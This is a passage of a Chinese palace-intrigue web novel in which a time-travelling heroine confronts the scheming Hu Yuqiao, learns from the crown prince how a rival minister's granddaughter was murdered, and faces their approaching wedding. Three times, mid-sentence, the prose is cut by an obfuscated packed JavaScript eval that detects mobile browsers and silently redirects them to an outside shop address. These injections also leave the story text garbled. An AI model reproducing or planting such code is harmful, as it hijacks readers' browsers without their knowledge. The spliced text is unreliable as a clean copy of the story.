“林小姐,没有关系的。”朱琇云见林若华神色沉重,反而柔声安慰起她来,“所有给我看过诊的大夫,包括宫里的太医,都说这是胎里带来的弱症,治不好的。他们也说我寿命恐不长久。我早已看开了。如今,我别无他求,只期望在死前,能够踏入文渊阁,亲眼看一看那些只存在于传说中的典籍,哪怕只有一眼,我便死而无憾了。” “别这么说。”林若华握住她冰冷的手,心中五味杂陈:“我现在不行,但是,以后总会有办法的。” 她只是个医学生,还做不了心脏外科手术,只能寄希望于以后了。 朱琇云只当她是好意安慰,虚弱地笑了笑,点了点头:“嗯。” 又在雅间休息了约莫半个时辰,待朱琇云脸上恢复了些许血色,她才在林若华的搀扶下起身,唤来隔壁的玉弈和丹青。 两位侍女见到主子这般模样,虽面露忧色,却也早已习惯,熟练地一左一右扶住她,向林若华道别后,缓缓离去。 林若华看着朱琇云离开的背影,感慨万千。 她唤上苏南,也准备回家,然而,刚走出没几步,一个穿着淡绿色丫鬟服饰的少女挡在了二人身前。 “林小姐,请留步。我家主人想见见您。”丫鬟的声音不高,态度却十分强势。 苏南眼神更冷,似乎想要动手。 林若华见状,转头冲苏南摇摇头,示意她少安毋躁,然后对那丫鬟道:“带路吧。” 强烈的好奇心再次占据了上风,到底是谁会在此拦下她。 位置不远,就在隔壁的隔壁,丫鬟上前,轻轻推开房门。 林若华抬眼向内望去。 “怎么是你?” 35. 偏执 林若华转身欲走。 胡玉乔连忙起身唤道:“林姐姐,请留步。妹妹有要紧事相商。” 见林若华完全没有理会她的意思,胡玉乔眸光微动,又提高声量喊道:“是关于姐姐与三殿下的事。” 林若华这才顿住步子,停在雅间门前,回身挑眉看她。 方才那声音不低,房门还敞开着,像是故意想让别人听见。 酒楼二层清雅安静,只偶尔有伙计端茶送水的脚步声,可一声“三殿下”飘出去,难保不会引来有心之人。 “好啊。”林若华笑了,明媚的笑意却未达眼底,“倒要听听胡小姐有何指教。” 她就看看胡玉乔要搞什么名堂。 胡玉乔见她回头,眼中闪过一丝了然,随即又恢复了那副温婉的模样,微微侧身做了个请的手势:“林姐姐既然肯留下,不如坐下慢慢说。” 两个雅间布局相似,中间都摆着一张圆桌,圆桌上放置着青瓷茶具。 林若华坐在这头,胡玉乔端坐在那头,二人之间相隔不过六尺。 身穿淡绿色衣裙的丫鬟为二人斟完茶,便垂首退下,合上了门。 胡玉乔含笑看向林若华身侧的苏南,意思再明显不过。 林若华不为所动,摆摆手示意苏南不必退下,开门见山道:“胡小姐有什么话不妨直言,我待会儿还有事。” 胡玉乔不紧不慢地端起茶杯,轻轻吹了吹,抿了一小口。 她的动作优雅从容,像是完全没听见林若华的催促。 林若华的眼神跟着胡玉乔的动作移动,最后定格在她那张始终挂着得体笑容的脸上。 胡玉乔在萧玄鹤的后宫中并不是最美的,却胜在仪态端庄。 “不说我走了。”林若华的语气已经带上了明显的不耐烦。 这个人到底是来干嘛的。 胡玉乔这才放下茶杯,抬眼笑道:“林姐姐这般急着走,倒像是不愿见着妹妹似的。” “对。”林若华答得干脆。 胡玉乔闻言,笑意更深,仿佛听到了什么有趣的事:“林姐姐何必如此生分?且先用口茶歇歇吧。这茶是上好的龙井,味道清雅,我特意让人准备的。” 林若华瞥了一眼茶杯,没有碰。 “姐姐不饮,莫非是疑心这茶不干净?”胡玉乔以袖掩唇。 这话带着玩笑的意味,一般人听到这话,即便真有所怀疑,也会委婉推辞说不渴,至少会维持表面客套。 然而林若华从来不是一般人。 她直接点头,坦然道:“没错。” 胡玉乔怔了一瞬,但很快又恢复如常,将那完美的笑容重新挂在脸上:“林姐姐果然是个妙人,怪不得大家都如此喜欢你。就连一向高傲的朱小姐,也愿与林姐姐交好。” “所以你是跟在朱小姐身后来的?”林若华挑眉,眼神意味深长。 胡玉乔表情未变,她确实知道朱琇云今日会来此处,也猜到可能与林若华有关。 朱琇云体弱,若是两人一言不合起了冲突,朱琇云出点什么事,届时,她便可坐收渔翁之利。 谁知事情并未如她所料,不仅未起冲突,两人反而一同离开了。 这让她不得不亲自出面,探个究竟。 胡玉乔用手帕轻掩嘴角:“不过是恰巧在街上看见了朱小姐的马车,担心她的身体,特意来看看。林姐姐也知道,朱小姐自幼体弱,这秋日里风大,万一受了凉可不好。” “哦?那可真是巧了。”林若华嘴上是这么说,脸上却明明白白写着“我看着你演”的表情。 胡玉乔见状,面上露出恰到好处的疑惑与委屈:“林姐姐,我不明白。你对朱小姐那般友好,何以独独对我这般疏离?莫非是因着三殿下那层缘故?” 这话的言外之意再明显不过,林若华并不喜欢太子,所以不会因朱琇云吃醋。那么对胡玉乔的敌意,只能是因为对三皇子余情未了。 林若华忽然轻笑一声:“胡小姐可知何为品行端方?又何为金口玉言?想拿旧事做文章,不妨先掂量掂量自己的分量。” 皇上与皇后的赏赐一到,京城里那些流言蜚语便霎时散得干净。 纵使私下偶有闲言,谁又敢摆到明面上来? 想用男女之事做文章,就得先质疑天家的判断,这可不是聪明人会做的事。 胡玉乔脸上的笑容终于淡了几分:“林姐姐,我……” 胡玉乔还想辩驳,却被林若华直接打断。 “先前的流言,也有你一份功劳吧。”林若华不再绕圈子,“你不必再装模作样,提什么三殿下,你对付我,不过是因为……” 说到这里,林若华轻轻勾起嘴角,那笑容竟有几分轻蔑嘲讽:“皇上寿宴那日,你我献了同样的礼。一柄玉如意,款式不同,质地不同,只因都是玉如意,你便觉得我冒犯了你,是吗?” 胡玉乔脸上的笑意终于僵住了。 林若华记得原剧中胡玉乔倒台的真正原因。 女主查出了证据,胡玉乔的一桩桩罪行被揭开,戕害妃嫔皇嗣,连与男主亲厚的六公主也死于她手。 而当男主萧玄鹤质问她为何要对无辜的六公主下手时,她的回答令人毛骨悚然。 “就为了一碟龙须酥?就为了一碟龙须酥!”萧玄鹤盯着瘫倒在地的皇后,难以置信。 这个女人就因为一碟龙须酥害死了他的妹妹。 “不错。”那时的胡玉乔已懒得伪装,眼中尽是癫狂,“她既喜欢三天两头来我宫里讨要吃食,那就让她吃个够好了。臣妾不过借刀杀人罢了。” 既除了碍眼的六公主,又栽赃了给她下毒的妃嫔。 “谁让她喜欢的东西和我一样?她就该死!” 说到最后,胡玉乔咬牙切齿,那些人有什么资格与她有相同的喜好? 当时,萧玄鹤看胡玉乔的眼神,就像在看一个彻头彻尾的疯子。 此刻,林若华看着眼前的胡玉乔,忽然有点理解萧玄鹤的感受了。 那种偏执,那种对独一无二的病态追求,已经超出了常人的理解范畴。 “呵呵呵呵呵……”胡玉乔先是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16801735|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怔,随即不可抑制地低笑起来。 笑声越来越响,肩头颤动,连头上那支白玉簪都跟着晃了起来。 她咧开嘴,露出洁白的牙齿,睁大的眼睛里,有种近乎狰狞的欢愉,仿佛心底某个阴暗的秘密终于见了光,反而生出一种扭曲的解脱。 林若华迅速与苏南交换了一个眼神。 若有不妥,即刻动手。 苏南会意地点点头。 胡玉乔笑了好一会儿,才慢慢停下来,只是脸上仍残留着古怪的笑意,那笑意扭曲了她清秀的五官,显得有些骇人。 “林姐姐还真是妙人啊。”胡玉乔的声音变得有些沙哑,她盯着林若华,眼神灼热得近乎病态,“你是怎么知道的?这可是我爹娘都不知道的秘密。” 她的父母只以为她是爱争风吃醋,毕竟一般人怎么会因为别人喜欢同样的东西就恨之入骨? 林若华没有回答,而是盯着她仍在发笑的眼睛,问道:“你约我来到底想做什么?” 胡玉乔知再绕弯也是徒劳,索性摊开,声音也恢复了平日的温婉:“不过是想瞧瞧,林姐姐与朱小姐在谋划什么罢了。毕竟姐姐实在有趣得紧。纵使你猜中流言有我推波助澜又如何?无凭无据,谁会信一柄玉如意能惹出这般恩怨?众人只会觉得,是姐姐对三殿下旧情未了。到时千夫所指的是你,被怜悯的可是我。” 见林若华不为所动,她顿了顿,又压低声音补上一句:“姐姐就算厌我,面上也该装出几分亲厚才是,否则这名声一旦坏了……” 话音戛然而止。 林若华已起身绕过圆桌,走到她面前。 胡玉乔一怔,复又莞尔一笑:“姐姐这是要做什么?莫非还想动手不成?若是传出去,这名声……” “啪!” 一记清脆的耳光,力道之重,直接将胡玉乔从凳上扇倒在地。 她头上的白玉簪也摔在地上。 “你……你敢打我?”胡玉乔捂着迅速红肿的脸颊,愕然瞪向林若华,眼中满是不可置信 林若华甩了甩右手,左手揉了揉右手手腕。 “你夫君我都照打不误,何况是你?”她俯视着地上的人,淡淡道,“敢算计我?胡玉乔,你听好了,我林若华从来不在意什么名声,你尽管出去喊,尽管去宣扬,看看最后我们两个谁倒霉。” 胡玉乔趴在地上,散乱的发丝遮住了半张脸,露出的那只眼睛里,先是震惊,继而涌上怨毒,最后又归于平静。 她低低笑了起来,肩膀耸动。 林若华不再看她,带上苏南转身便走。 房门打开,清冷的嗓音传入胡玉乔耳中:“若缺伤药,你就去找三殿下。” 林若华脚步未停,径直向楼梯走去, 胡玉乔瞪大眼睛,怔怔望着空荡荡的门口。 半边脸颊火辣辣地疼,门外脚步声渐远,雅间又恢复了安静。 良久,胡玉乔慢慢站起身,扯出一个笑容,那笑容越来越大。 “林若华……”她喃喃念着这个名字,“我们来日方长。” 36. 尴尬 “所以,你就打了胡玉乔一巴掌?”萧长离看着林若华,眼中含笑。 一缕午后的阳光穿过敞开的木窗,洒在萧长离俊美的脸上,为这笑容更添两分暖意。 林若华闻言,扬起下巴:“是啊,哪有人在算计了别人以后,还跑到受害者面前耀武扬威的?她既然敢来我这儿装模作样,我自然要让她清醒清醒。” 她顿了顿,拿起桌上的一块龙须酥,才继续道:“而且我不是才打了萧玄鹤吗?夫妻俩,自然要整整齐齐,有福同享,有难同当,我这是帮他们维持夫妻和睦。” 林若华说完,咬了一口龙须酥,还郑重其事地点点头,一脸理所当然。 萧长离轻笑出声,一边起身,拎起茶壶为林若华面前的空杯续上热茶,一边笑着赞同:“说得极是,夫妻一体,理当整整齐齐。” 萧长离重新落座,目光却未从林若华脸上移开。 自那日在满香楼分别见过朱琇云与胡玉乔,又过了五日。 萧长离传信来说,他那边暂时忙完了手头的事务,于是二人便约在此处见面。 因为上次在满香楼太过热闹,萧长离此番便换了家清静人少的酒楼,自然,仍是萧长离名下的产业。 “长离,下回派人接我的时候,能不能换回以前的马车?那辆实在是……”吃完龙须酥,林若华想起在路上憋了许久的话。 “怎么,不喜欢?”萧长离唇角微扬,拿起茶杯轻抿一口,侧头看向窗外。 林若华顺着他的视线向下望去,正好能瞧见楼下那辆停在门前的橘色圆形马车。 车身被特意打造成圆润的南瓜形状,通体是鲜亮的橘色,顶棚还拴着两条绿色的绸布充作叶子,乍一看确实像个大南瓜。 这奇特的颜色与造型,在周围朴素的马车中格外显眼,偶有一二路人经过,也是频频侧目。 她万万没想到,就因为一句玩笑话,萧长离竟真造了辆南瓜马车来。 今天中午,苏南来报说马车已在府外等候时,林若华还如往常一般出门。 可当见着马车的瞬间,她脚步一顿,眼睛不由自主地睁大,震惊之后,涌上心头的是铺天盖地的尴尬。 啊啊啊啊啊…… 她张了张嘴,喉咙却发不出声音,只能在心底无声呐喊。 大可不必吧,来真的啊! 萧长离你疯了吗! 不对,是我要疯了! 好不容易合上微张的嘴巴, 她连忙紧张地看向身旁的苏南。 却见苏南面无表情地看了看马车,又瞥了一眼林若华。 林若华竟从苏南一贯冰冷的眼神里瞧出了一丝无奈的情绪。 不是这样的。 苏南你听我解释…… 林若华在心中默默流泪。 太尴尬了,太尴尬了。 尴尬得她恨不得当场在林府再抠出个院子来。 万幸今日驾车的不是凌北,否则又多一个熟人来见证这个奇观。 这一路上,马车驶过京城街巷,吸引了无数目光,更有几个顽皮的孩童,追在车后边跑边兴奋地叫嚷:“大南瓜!大南瓜!会跑的大南瓜!” 车厢内的林若华只能缩起肩膀,努力降低自己的存在感。 想到这里,林若华忍不住双手捂住脸,只想消失在原地。 “当真不喜欢吗?我还以为,女孩子都会喜欢这样有趣的东西。”萧长离伸出修长的手指,轻轻拉住林若华的衣袖,这才让她把捂着脸的手放下。 林若华几乎能想象,明日京城里会如何流传林府大小姐坐南瓜车招摇过市的闲话。 她错了,她还是在意名声的。 “如果是八岁的我应该会很喜欢。”林若华吁了口气,无奈地看向萧长离,“况且,你不觉得它太扎眼了吗?简直就是在告诉别人‘快来刺杀我,快来刺杀我’。” “有可能。”萧长离搁下茶杯,收敛了笑意,“近日又压了萧玄鹤一头,难保他与其党羽不会狗急跳墙。这马车确实招摇了些,是我考虑不周。” 见他认真反思,林若华反而有些不好意思,摆摆手道:“也没那么严重,只是下次咱们低调点?” “好,依你。”萧长离从善如流,随即谈起正事,“兵部侍郎唐庸,前几日在宴饮后失言,抱怨当年父皇阻止他上战场立功,言辞间颇有怨怼。这话被人一字不落地捅到了御前。此类事情,可大可小,皆在圣心。若父皇不介意,便是一句醉话。若计较起来,便是对皇上不满、心怀怨望。” 他顿了顿,见林若华听得专注,接着道:“父皇这次动了真怒。关于如何处置唐庸,朝堂上争论了好几日。毕竟他也是早年跟着父皇打过天下的老臣,没有功劳也有苦劳。最后,是我向父皇进言。” 萧长离见林若华眼睛微微睁大,满是好奇,也不再卖关子,轻笑道:“我请父皇成全他念念不忘的战场梦想,将他调往北疆军中任职,父皇准了。当日宴席上在场一同附和或未加劝阻的其他几位官员,也一并打包,连同家眷,都送过去为国效力。只是不知,唐庸在京城养尊处优这么多年,还能不能受得住边疆的苦寒与风沙。” “在场的其他几位官员?”林若华略一思索,便想起赏花宴时,总是跟在唐彤珠身边的三位贵女,她们的父辈想必就是那“其他几位官员”了。 “这样处置虽然远离了繁华的京城,但总比原本的抄家流放要强得多。我记得,唐庸风评尚可,算是个能做实事的官。” 某种程度上,唐庸是受了他女儿唐彤珠的牵连。 唐彤珠在后宫的所作所为,又导致了后续一系列风波。 如今这个发展,唐家虽失了京中权势,但起码全家性命无虞,唐庸或许还真能在边疆找到用武之地,唐彤珠也比在原剧中害人害己、凄惨收场的结局要好上太多。 “唐庸确有些实干之才,可惜,立场不同,注定难以共存。”萧长离手指摩挲着茶杯,语气平淡。 朝堂之争,往往如此,并非简单的黑白对错。 “对了。”林若华想起另一件要紧事,目光灼灼地看向萧长离,“刚才我跟你说琇云表妹的事,你觉得如何?” 她知道,萧长离一定会同意的。 果然,萧长离沉吟片刻,缓缓点头:“此事,若她心意已决,我自会安排。其实表妹之前也曾私下找过我,提及类似想法,但我当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16812139|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时婉拒了。” 他抬眼看向林若华,解释道:“你也清楚她的身体状况,心思又比常人细腻敏感。我担心她耗费心神于此等繁务之上,反而于调养不利。母后那般疼惜她,若她因操劳有什么闪失,母后定然伤心。不如让她安心静养,多陪伴母后。” “可表妹说,这是她真正想做的事,哪怕为此缩短寿命,她也心甘情愿。”林若华轻轻叹了口气。 随即,她又振作精神,对萧长离鼓舞道:“所以啊,长离,你要更加努力,表妹可还等着你呢。” “你这话说得叫人误会,倒像是表妹在等着我什么似的。”萧长离从眼前的碗碟中捏起一颗腌制的梅子,状似随意地问道:“你听了关于我和表妹的流言,就没什么想问我的?” 梅子放入口中。 有些酸了。 萧长离微微蹙眉。 林若华一愣,疑惑地眨眨眼:“你和表妹什么事?不都是假的吗?表妹亲口说过,她对你并无男女之情,她满心惦记的都是那些孤本典籍。” 说到这里,她突然警觉起来,微微眯起眼睛,用审视的目光上下打量萧长离:“你该不会对表妹真有其他的心思吧?我可提醒你,你们是三代以内的旁系血亲,是不能结婚的!” 看着林若华那副防备的表情,萧长离顿时觉得口中那点酸涩都消失了。 他舒展了眉头,肯定道:“对,都是好事之徒胡乱揣测,当不得真。” 朱琇云于他而言,不过是陪伴母后解闷的人罢了。 他们之间,连兄妹之情都淡薄。 若不是母后喜欢,他甚至不会关注这位体弱多病的表妹。 “不过是这些年来,我始终未曾娶正妃,也未纳侧妃侍妾,东宫后院空置,便让有些人有了胡乱猜测的余地罢了。” 甚至还有隐秘的流言,暗指他身体有隐疾。 这流言的源头,不用查也知道,多半出自萧玄鹤及其党羽之手。 “不过,”林若华话锋一转,“有件事,我倒是真的想问问你。” 林若华看向萧长离,他瞳孔中映出她认真的神色:“是关于那位杜小姐的。赏花宴上,我听到其他人说,杜小姐曾是你太子妃的人选,可她出了意外。杜小姐姓杜,上次萧玄鹤提过,太傅也姓杜,他们之间,是不是有什么关系?” 以萧长离和杜太傅之间的恩怨来看,事情恐怕没那么简单。 林若华直觉这背后故事复杂。 萧长离的神色变得有些不好:“不错。杜小姐正是杜太傅的亲孙女。杜太傅生前极为宠爱这个孙女,据说亲自教导过她诗书文章,只是我未曾见过她,关于她才貌双全、贤良淑德的名声,倒是听过一些。” 林若华知道萧长离不喜欢杜太傅,可是看这个样子,似乎杜小姐身上也有隐情。 “她真是遭了意外?”林若华试探着问。 “对外说是失足落水。”萧长离语带嘲讽。 “那实际上……”林若华的心下一沉,声音也不自觉地压低下去。 她端起微凉的茶水,喝了一口。 “杜小姐,是被她的父亲,亲手杀死的。” “什么?!” 37. 婚事 林若华手中的茶杯一歪,茶水泼洒在手背上。 她左手连忙从右手袖中掏出帕子,擦拭起来。 听萧长离所述,杜小姐在杜家应该是很受宠的,是杜太傅的掌上明珠,事情的真相怎么会是这样? “那是四年前的事了。” 林若华抬头,见萧长离已重新为她斟满茶杯。 待重新落座,他才缓缓道:“那时我羽翼未丰,在朝中根基尚浅,母族也帮不上忙,父皇便想着为我择一位有所助益的太子妃,否则如何与萧玄鹤对峙。杜家是清流名门,杜太傅更是当世大儒,门生遍布朝野,自然入了他的眼。” 泰安十七年,盛夏。 时年十四的萧长离站在御书房外,听着里头传来的说笑声。 皇帝正与杜太傅对弈,言谈间不时提到“太子”“太子妃”“成家”等字眼。 他那时已被立为太子整整八年,却始终如履薄冰。 父皇多疑,三弟萧玄鹤虎视眈眈,朝中支持者寥寥无几,更多人选择隔岸观火。 “太子,进来。”皇帝的声音从里传来。 萧长离整了整衣袍,推门而入。 御书房内,杜太傅正执白子沉思,见他进来,起身行礼,目光却未在他身上停留片刻。 “朕正与杜爱卿说起你。”皇帝笑道,示意他坐下,“太子年已十四,杜爱卿的孙女明年及笄,听闻素有才名,朕想着……” “皇上。”杜太傅忽然开口,“老臣那孙女自幼娇惯,曾言非心仪之人不嫁。老臣虽是她祖父,却也做不得她的主。” 皇帝挑眉,但并未动怒,反而哈哈大笑:“杜爱卿啊杜爱卿,满朝文武都说你为人古板无趣,朕看不然,你啊,可真是太宠孙女了!” 萧长离坐在一旁,面上保持着微笑,心中却满是不屑。 他何尝看不出,杜太傅那番话不过是推托之词。 真正的原因,是这老东西早已看清局势。 父皇虽立他为太子,心中更属意的是萧玄鹤。 杜太傅不愿将杜家绑在他这艘日后注定要沉的船上。 萧长离很早就明白,这太子之位,是个烫手山芋,要么坐稳上位,要么死无全尸。 但他从一开始便别无选择。 萧长离从碗碟中捏起一颗的梅子,在指间来回转动。 “当时在御书房,我只觉难堪,像件货物被人挑拣,被人嫌弃。”说到这里,萧长离的嘴角轻轻勾起,似笑非笑。 林若华也回想起才穿越时,她的丫鬟得罪了四皇子,林兴业因为权衡利弊,同样是用看待货物一样的眼神看她。 她轻叹一口气,说道:“杜太傅不喜欢你,他喜欢萧玄鹤。” 无论是品行,抑或是前途。 那日在宫里,林若华从萧长离与萧玄鹤的争吵中看得清楚。 萧长离点点头,满不在意:“没错,如果当初父皇提议的人选是萧玄鹤,说不定他就答应了。” “那后来呢?”林若华问。 “杜太傅回府后,当即给在老家任职的嫡长子,也就是杜小姐的父亲寄了一封信。信中提及皇上有意与杜家结亲,字里行间隐约流露出对家族未来的担忧。杜小姐的父亲也是个聪明人,自是弦歌知雅意。在收到信的第二日,杜小姐便被嫉妒她的庶妹得知消息,半夜故意引至后院,推入自家的荷花池中,溺亡。对外说是庶妹为了谋夺这门婚事,但实际上,动手的是杜小姐的生父。” 萧长离随手将梅子扔在桌上,拿出帕子,擦了擦手。 这些细节,都是萧长离后来亲自从杜小姐的父亲,那位杜大人嘴里撬出来的。 林若华睁大眼睛,久久未能言语。 她最开始还以为,是杜小姐自己不愿意嫁入东宫,父女俩争执之下发生的意外。 原来从头到尾,根本就没有人问过杜小姐的意见。 而且杜小姐死的时候,杜太傅还健在,甚至可以说,害死这个孙女,本就是他的意思。 祖父暗示,父亲动手,孙女殒命,另一个孙女顶罪。 林若华张了张嘴,一下子不知道该说什么。 好毒的心啊! “后来杜太傅在御书房外长跪不起,老泪纵横,说自己治家不严,让孙女遭此横祸,求父皇恕罪。又言已处置了残害手足的庶出孙女与玩忽职守的仆役。父皇当然知道其中必有蹊跷,但杜家已赔上两个孙女,也不好再深究,于是扶杜太傅起身后,又安慰了几句,此事便不了了之。” 萧长离脸上的嘲讽愈加明显:“一年后,杜太傅病逝。坊间甚至有传言,说他是因痛失孙女,郁结于心所致,真是感天动地的祖孙情啊。不过杜家自他离去后,日渐式微,族中子侄多平庸之辈,唯有杜小姐她爹还算有些钻营之能。” 杜太傅死的那年,萧长离主动请缨去西北剿匪,一去便是一整年。 班师回朝时,带回的不仅仅是军功,还有不少将士的拥戴。 朝中风向开始微妙转变,一些原本观望的官员,悄悄向他靠拢。 他冷笑一声,又道:“只是这人忘了其父临终嘱咐,见我势力渐长,竟写信试探能否再送一女入东宫,太子妃当然够不上,无论是侧妃,甚至侍妾皆可。我被扰得不胜其烦,便命人查了他任上那些勾当,足够让他在牢中思过数年。上月,他刚病死在狱中,哼,真是人走茶凉啊。” 言已至此,萧长离给自己倒了杯茶,吹了吹,抬眼,却见林若华仍睁大眼,一眨不眨地看着自己。 萧长离:“……” 好像有点得意忘形,是不是又吓到她了。 “你……”萧长离垂下眼帘,轻轻放下茶杯,声音低了几分,“是否觉得我手段太过?” 林若华怔了怔,随即摇头:“不会,那叫罪有应得。” 萧长离正对上林若华清澈的目光。 没有畏惧,没有疏离,只有坦然地理解。 萧长离只觉心中涌入融融暖意,嘲讽褪去,脸上已是林若华所熟悉的温润笑意。 只是,林若华又陷入沉思。 杜太傅病逝那年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16828496|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,正是林若华与萧玄鹤初遇之时。 也不知这其中是否有所关联。 “在想什么?”见林若华若有所思,萧长离问道。 “我在想,杜太傅如果直接拒绝这门婚事,皇上也不会强求,对吗?”林若华轻声道。 “自然。婚事不过是最简单的结盟方式。但其他人拒绝最多是惹父皇不快,杜太傅拒绝,便是站队表态。毕竟杜太傅此前常在父皇面前称赞萧玄鹤。为了家族前程,牺牲一两个孙女,在那些自诩清流的人眼中,也算不得什么。” 沉默了半晌,林若华忽然想起什么,表情变得有些古怪:“对了,说起婚事,上次在皇帝寿宴碰到叶景谦,你说皇上有意为他和六公主赐婚,是不是真的?” “父皇确有此意,让肉都烂在同一个锅里,如此,他们那边就少了一个联姻的助力。” 萧长离轻笑:“怎么,你这是在关心六公主?不记恨赏花宴上她给你惹的麻烦了?” “顺口问一句,谁让六公主是本色出演呢,在片场时,她总是漂亮姐姐长漂亮姐姐短的,还送过我两块巧克力呢。” 林若华想起那个活泼的小女孩,总是在片场里跑来跑去的,还一口一个漂亮姐姐地叫她。 “六公主既然诚心道歉,叶妃事后也送了一箱礼物来赔罪。我就原谅她一次吧,只要她日后不再被人利用,招惹我就行。” 六公主是何导演的侄女友情客串的,实际年龄还不到十岁。 而在这个世界里,六公主是实打实的十二岁,再过三年就要及笄了,女子十五出嫁,在这个时代再正常不过。 婚嫁之事提上日程似乎顺理成章。 林若华一想到六公主过几年有可能会嫁给叶景谦,心里就泛起一股说不出的违和。 这种时空错位的感觉,她不知该如何向萧长离说。 就像她自己,明明已大学毕业,又跑了半年的龙套,应该是二十三岁,在这里却只算是十六岁的少女。 她低头喝茶,因此错过了萧长离眼中的深意。 等林若华抬起头,萧长离已恢复如常,依旧带着温和的笑容。 “莫说旁人了,你呢?你可准备好了吗?”萧长离忽然问道,目光灼灼地看着她。 “嗯?准备什么?”林若华双眼满是疑惑,一时没反应过来。 萧长离的笑容愈发温柔,提醒道:“你忘了?下月初十,便是你我大婚之期。细细算来,只剩下十六天了。” “咳咳咳咳咳……”林若华被自己的口水呛到,连咳好几声,脸颊瞬间涨得通红。 这些日子发生的事情太多,皇帝、皇后、萧玄鹤、叶妃、六公主、朱琇云、胡玉乔等人轮番登场,寿宴、赏花宴完了又去没日没夜地研制青霉素。 竟将这么重要的日子抛在脑后。 林若华的脑海中反复回响着萧长离那句话:下月初十,便是你我大婚之期…… 只剩下十六天了…… 十六天…… 天…… 她真的差点忘了。 38. 为何 “我……”林若华一下子愣住。 这就要结婚了。 她有什么好准备的呢? 莫名其妙地穿越了,穿越时什么都没有带上,孑然一身。 父母早已过世。 这个世界的林家人,无论是林兴业、叶氏还是林洛瑶,她根本就从未将他们当作家人。 现实中她也有朋友,林曦死了,她们会为林曦感到难过,但终究要回归到自己的生活。 随着时间的推移,记忆会慢慢模糊,或许在某一天,某个地点,会突然想起曾经有过一个叫林曦的朋友。 在这里,与她相处最久的是沉默寡言的苏南,而对她最好的,是萧长离。 林若华看着眼前笑得温柔的萧长离,又不禁想起曾在片场照顾她的前辈。 前辈对她很好,但也没有好到这种程度。 真的不一样。 萧长离对她的好,实在好得有些不正常。 虽然在感情方面有些迟钝,但她不是傻子。 再迟钝的人,也能察觉出来了。 “我、我没有什么好准备的,皇宫里派来的人,都把事情安排好了。” 萧长离见林若华仍有些恍惚,又轻轻笑了起来,给她递上一块龙须酥:“那成婚之后,你可有什么想做的事?” 林若华接过点心,并没有吃,而是拿在手中。 她仔细想了想,然后?她还有什么事情没有做? “先把青霉素做出来吧,然后……”林若华咬了一口龙须酥。 “然后?”萧长离笑着问道。 她想起以前那个忙得团团转的自己。 读书时一心扑在学习上,工作后又拼命赚钱。 她想起了那场未完成的旅行。 “然后去游山玩水吧。”林若华的眼睛亮了起来,“你不是说过,等一切的事情都结束后,就帮我换个身份离开这里吗?我想去看看这个世界,去江南水乡,去西北大漠,去看看,两个世界到底有什么差别……” 萧长离的笑容渐渐僵在脸上,那温柔的笑意还停留在嘴角。 他沉默了片刻,才道:“当然,我说过的话,一定会做到。” “长离……”林若华张了张口。 萧长离已起身,背对着她望向窗外。 “今日不早了,我让人送你回去。” 萧长离仍用着温和的语气,却不再看她。 “苏南啊,我觉得我好像又说错话了。”回到自己的院子,林若华坐在石凳上,手撑着脸颊,重重叹了口气。 苏南站在她身侧,没有说话,她都看到了。 太子殿下送小姐上马车时,虽然还是笑着,但是笑得十分僵硬。 刚做完任务匆匆赶来的凌北正要禀告,抬眼撞见主子的脸色,竟吓得踉跄一步,手中的信件险些脱手而出。 “是这样子的,苏南,我有一个朋友。”林若华收回手,站起身来。 苏南面无表情地看向她。 林若华:“……” 被这样的眼神盯着,她编不下去了。 最后林若华只能无奈道:“好吧,这个朋友就是我自己。” 重新理了理思绪,林若华继续道:“记得皇上赐婚那天,我曾问过你,太子为何偏要娶我当太子妃,你说,是因为爱。为什么你会如此认为?” 这是终于回过神了?苏南暗忖。 苏南随后依旧用那毫无起伏的声音答道:“唯有爱,才会令人面目全非。太子殿下因你,不像他了。” 林若华怔住:“不像他?” “殿下从前……”苏南顿了顿,似乎在斟酌用词,“不会有温柔的神情。” 苏南回想起她被点派到林小姐身边的那日,太子殿下眼中一闪而过的温柔。 “可他从未说过爱我?他到底为什么喜欢我?”林若华突然抓住苏南的袖子,语气中满是困惑。 苏南摇摇头:“你该亲自去问殿下。” 问他? 现在去问萧长离这种问题,岂不是更加尴尬? 还是过几天再见他吧。 林若华点点头:“我明白了。苏南你倒是懂这些,莫非你也爱过?” “只有傻子才会去爱。”苏南冷冷道,抽回自己的衣袖。 苏南,你这话是在说萧长离傻吗?林若华眨眨眼,没问出口。 算了,苏南向来如此。 苏南的话并没有为林若华解惑,反而令她更加困惑。 在现实里,前辈没有给过她回应,那份好感无疾而终。 在这个地方,林若华与萧长离也没有过交集。 至少在她穿越之前,两人应是素不相识的。 突如其来的深情,不求回报的付出。 所以到底是为什么啊? 这种疑惑一直持续到晚饭时分。 